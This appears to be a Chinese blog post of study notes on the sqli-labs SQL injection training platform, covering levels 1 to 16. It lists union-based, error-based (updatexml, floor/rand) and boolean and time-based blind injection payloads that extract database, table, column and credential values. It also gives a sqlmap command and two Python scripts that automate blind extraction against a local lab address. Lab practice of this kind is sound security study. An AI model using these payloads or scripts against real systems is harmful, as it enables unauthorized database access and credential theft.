• sqli-labs笔记Page-1(Basic Challenges)


    0X00:前言

    sqli-labs是一个学习SQL注入的开源平台,共有75中不同类型的注入。源码可到github上搜索sqli-libs找到

    0X01:Page-1基础挑战

    0X02:每一关的payloads

    LV1:

    id=1'

    id=1' order by 3-- 

    id=-1' union select 1,2,3--          注:-1

    id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--      //列名

    id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--       //表users中的列名

    id=-1' union select 1,username,password from users where id=1-- 

    LV2:

    id=1'

    上一题是  near '1' limit 0,1' at line 1

    第二题是数字型注入,没有单引号,payload与1相同

    LV3:

    id=1'

    id=1') or 1=1-- 

     id=1') order by 3-- 

     id=-1') union select 1,2,3--     //注-1

    id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- 

     payload和上面相同

    LV4:

    id=1'   //没反应

    id=1"   //

    id=1")

    猜测:select * from users where id = ("input") LIMIT 0,1;

    id=1") order by 3--  

     payload和上面相同

    LV5:

    ?id=1'

    猜测:select * from uesrs where id = 'input' LIMIT 0,1

    ?id=1' and '1'='1

    有结果:

    ?id=1' and '1'='2

    没有结果:

    猜测是bool盲注,我把源码改了-_-返回you are in.....改为YES!!!  没有结果改为NO!!!

    ?id=1' and length(database())=8--   //得到数据库长度

    LV5和LV6都是盲注,lv5是单引号,lv6是双引号

    LV5:还可以用报错注入

    ?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

    LV7:dump into outfile

    使用文件导出

    ?id=1')) and length(database())=8--    //发现可以用盲注

    但是题目的意思是文件

     LV8:时间、布尔盲注

    ?id=1' and payloads

    LV9:时间盲注

    LV10:时间盲注

    LV11:报错注入

    paylaods:username和password都存在注入

    payloads:

    • uname=1&passwd=1'

    出现报错

    数据库中执行SQL时,因为多了一个单引号而报错,并且程序直接将错误信息输出到了页面,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()

    • uname=1passwd=1' union select 1,2#(发现有两列显示错误)
    • 数据库:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
    • 数据表:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
    • 查字段:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
    • 字段值:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)#

     可以改变limit 的参数查看不同的值,也可以用python爆破处所有值

    其他报错注入:一次报错,显示所有的信息,不需要limit,每次只能一行信息

    uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
    uname=1&passwd=1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
    uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a#
    返回结果:

    详细请看这里:

    LV12:报错注入

     流程与11相同,变化:1")

     LV13:报错注入或者盲注

    有报错注入,可选择盲注

    uname=1%27&passwd=1') or 1=1#

    uname=1&passwd=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

     盲注:uname=1&passwd=1') or ascii(substr((database()),1,1))>100#

     想写脚本的,发现页面返回都是一样的,不知道时间盲注可不可以感觉可以,但是不想弄-_--_-

    还可以用sqlmap试一下,发现新技能

    (1)用burp抓包POST数据,将数据保存到13.txt中

    (2)新认识sqlmap的参数 -technique这个参数可以指定sqlmap使用探测技术,默认情况下会使用所有方式

    • B: Boolean-based blind SQL injection(布尔型注入)
    • E: Error-based SQL injection(报错型注入)
    • U: UNION query SQL injection(可联合查询注入)
    • S: Stacked queries SQL injection(可多语句查询注入)
    • T: Time-based blind SQL injection(基于时间延迟注入)

    (3)payload:

    python2 sqlmap.py -r "13.txt" --technique E --batch -v 3 --current-db

    不过试了一下python2 sqlmap.py --current-db也有答案-_-

    LV14:与13基本相同用双引号闭合     1"

    LV15:布尔注入,时间盲注

    uname=1&passwd=1' or 1=1#

    成功登录,试了上面题目的报错注入,都没有报错,题目也提示布尔盲注和时间盲注

    uname=1&passwd=1' or left(database(),1)='s'#

     还是那个问题,这要都用手注,那岂不是很多。写脚本布尔盲注又不知道怎么分类(返回文本中没有对错,登录成功失败是图片啊,可能我技术不够)。

    !!!就在写上句话的时候我看到了两个图片名字不一样哈哈哈哈

    下面是获得数据库名和数据表名的脚本,但是一次只能获取一个数据表,获取其他数据表需要改limit后面的参数

    #coding=utf-8
    import requests
    import string
    url = 'http://192.168.188.147/sqli-labs/Less-15/'
    strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    r=requests.session()
    def getdb():
        dbname = ''
        for i in range(10):
            for j in strmes:
                payload = "1' or substr(database(),{0},1)='{1}'#".format(str(i),j)
                data = {
                "uname": "1",
                "passwd": payload
                }
                s = r.post(url,data)
                if "flag" in s.text:
                    dbname += j
                    print(dbname)
                    break
    def gettable():
        tablename=''
        for i in range(10):
            for j in strmes:
                payload = "1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}'#".format(str(i),j)
                data = {
                "uname": "1",
                "passwd": payload
                }
                s = r.post(url,data)
                if "flag" in s.text:
                    tablename += j
                    print(tablename)
                    break
    getdb()
    gettable()

    时间盲注:把布尔盲注的代码差不多,存在的问题也是一次只能查询一个数据表

    #coding=utf-8
    import requests
    import string
    url = 'http://192.168.188.147/sqli-labs/Less-15/'
    strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    r=requests.session()
    
    def getdb():
        dbname = ''
        for i in range(10):
            for j in strmes:
                payload = "1' or if(substr(database(),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
                data = {
                "uname": "1",
                "passwd": payload
                }
                try:
                    s = r.post(url,data,timeout=4)
                except:
                    dbname += j
                    print(dbname)
                    break
                    
    def gettable():
        tablename=''
        for i in range(10):
            for j in strmes:
                payload = "1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
                data = {
                "uname": "1",
                "passwd": payload
                }
                try:
                    s = r.post(url,data,timeout=4)
                except:
                    tablename += j
                    print(tablename)
                    break
    #getdb()
    gettable()

    LV16:双引号闭合

    注入类型与LV15相同

    uname=1&passwd=1") or 1=1#

    LV17:

    0Xff:总结

    未完待续,11题报错注入还没完成,这个报错注入必须要搞定;第七题文件问题还没搞懂;还剩6题没做;还有其他难度。自己效率还是太低了(2019-08-16-19:26:05)

  • 相关阅读:
    记录ubuntu安装nvidia-drivers简单的做法
    Win 与 Ubuntu 双系统时间同步问题解决
    记录安装mmdetection
    记录ubuntu 16.04安装matlab 2016b的过程
    vmware ubuntu 16.04 扩容 根目录
    记录一下使用qt designer和pyqt5做界面的过程
    提升模型性能的几个方法以及训练集测试集验证集的划分与作用
    Markdown语法 (转载)
    CatBoost: gradients boosting with categorical features support
    Gradient Centralization: A New Optimization Technique for Deep Neural Networks
  • 原文地址:https://www.cnblogs.com/liqik/p/11229029.html
Copyright © 2020-2023  润新知